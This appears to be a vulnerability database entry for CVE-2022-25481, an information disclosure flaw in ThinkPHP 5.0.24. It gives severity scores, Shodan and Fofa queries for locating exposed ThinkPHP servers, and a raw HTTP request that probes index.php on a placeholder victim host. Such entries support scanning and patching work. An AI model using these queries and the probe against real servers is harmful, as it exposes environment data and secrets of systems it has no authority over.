| Title | ThinkPHP 5.0.24 - Information Disclosure |
|---|---|
| Author | caon |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain sensitive information. |
| Remediation | Upgrade to a patched version of ThinkPHP or apply the necessary security patches. |
| CVSS Score | 7.5 |
| EPSS Score | 0.20316 |
| CVE ID | CVE-2022-25481 |
| CWE ID | CWE-668 |
| Shodan Query | title:"ThinkPHP"http.title:"thinkphp"cpe:"cpe:2.3:a:thinkphp:thinkphp" |
| Fofa Query | title="thinkphp"header="think_lang" |
| Tags | cve cve2022 thinkphp exposure oss vuln |
ThinkPHP 5.0.24 is susceptible to information disclosure. This version was configured without the PATHINFO parameter. This can allow an attacker to access all system environment parameters from index.php, thereby possibly obtaining sensitive information, modifying data, and/or executing unauthorized operations.
GET /index.php?s=example HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25481.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-25481.pcap
N/AN/A